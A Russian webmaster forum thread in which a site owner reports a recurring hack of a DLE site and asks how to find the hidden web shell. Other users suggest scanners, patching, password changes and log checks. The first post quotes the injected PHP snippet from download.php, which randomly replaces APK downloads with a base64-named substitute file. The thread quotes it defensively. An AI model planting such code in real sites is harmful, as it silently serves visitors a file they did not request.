Форум Сайтостроение Веб-строительство

Очередной взлом DLE

predator-hoi
На сайте с 16.07.2009
Offline
181
predator-hoi
567

Сайты андроид тематики, при скачке апк файла рандомно отдается мидлет.

Вредоносный код добавляется в файл download.php

if(rand(0,4)==4&&substr($row['onserver'], -4)=='.apk')
$row['onserver'] = base64_decode('MTM1NDI3NzI0N19ob3RzcG90X3NoaWVsZF92cG5fdi4wLjUuMy5hcGs=');

Код удаляем но он появляется заново, дата изменения нормальная, выставления прав 444 тоже не помогает. Где зарыт шелл не можем найти, возможно кто то лечил подобное? Какой есть софт для поиска шеллов?

$$$ Автоматические инструменты для ведения групп в сети «Одноклассники», «ВКонтакте» и «Telegram» ( https://bit.ly/3jyvDiH) $$$
viktorchereffko
На сайте с 30.06.2008
Offline
172
viktorchereffko
#1
predator-hoi:
Какой есть софт для поиска шеллов?

Вот, попробуйте. (Тема на серче).

А лучше сделайте бэкап, ну и стандартная процедура - почистите комп, смените все пароли, и т.д.

K5
На сайте с 21.07.2010
Offline
209
kgtu5
#2

багфиксы установлены?

аська 45два48499два записки на работе (http://memoryhigh.ru) помогу с сайтом, удалю вирусы, настрою впс -> отзывы ТУТ (/ru/forum/836248) и ТАМ (http://www.maultalk.com/topic140187.html) !!!всегда проверяйте данные людей, которые сами пишут вам в аську или скайп!!!
predator-hoi
На сайте с 16.07.2009
Offline
181
predator-hoi
#3

kgtu5, Да все последние стоят

K5
На сайте с 21.07.2010
Offline
209
kgtu5
#4

покажите пациента...

что говорит ай-болит ???

SEOCondition
На сайте с 03.10.2011
Offline
118
SEOCondition
#5
predator-hoi:
Сайты андроид тематики, при скачке апк файла рандомно отдается мидлет.
Вредоносный код добавляется в файл download.php


Код удаляем но он появляется заново, дата изменения нормальная, выставления прав 444 тоже не помогает. Где зарыт шелл не можем найти, возможно кто то лечил подобное? Какой есть софт для поиска шеллов?

возможно, беда на стороне сервера? Если шаред - могут ломать через соседей. Если VPS/Dedicated - брут и т.д. Изучите логи, обратитесь к хостеру.

Кроме того, не стоит забывать о банальных рекомендациях по обеспечению безопасности, которые можно найти в Я.мануале :)

[⚡] PBN под ключ, обслуживание, консультации — обращайтесь в личку
Как выбрать хостинг: часто Разработан стандарт качества для Обновился раздел «Исключенные страницы»

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий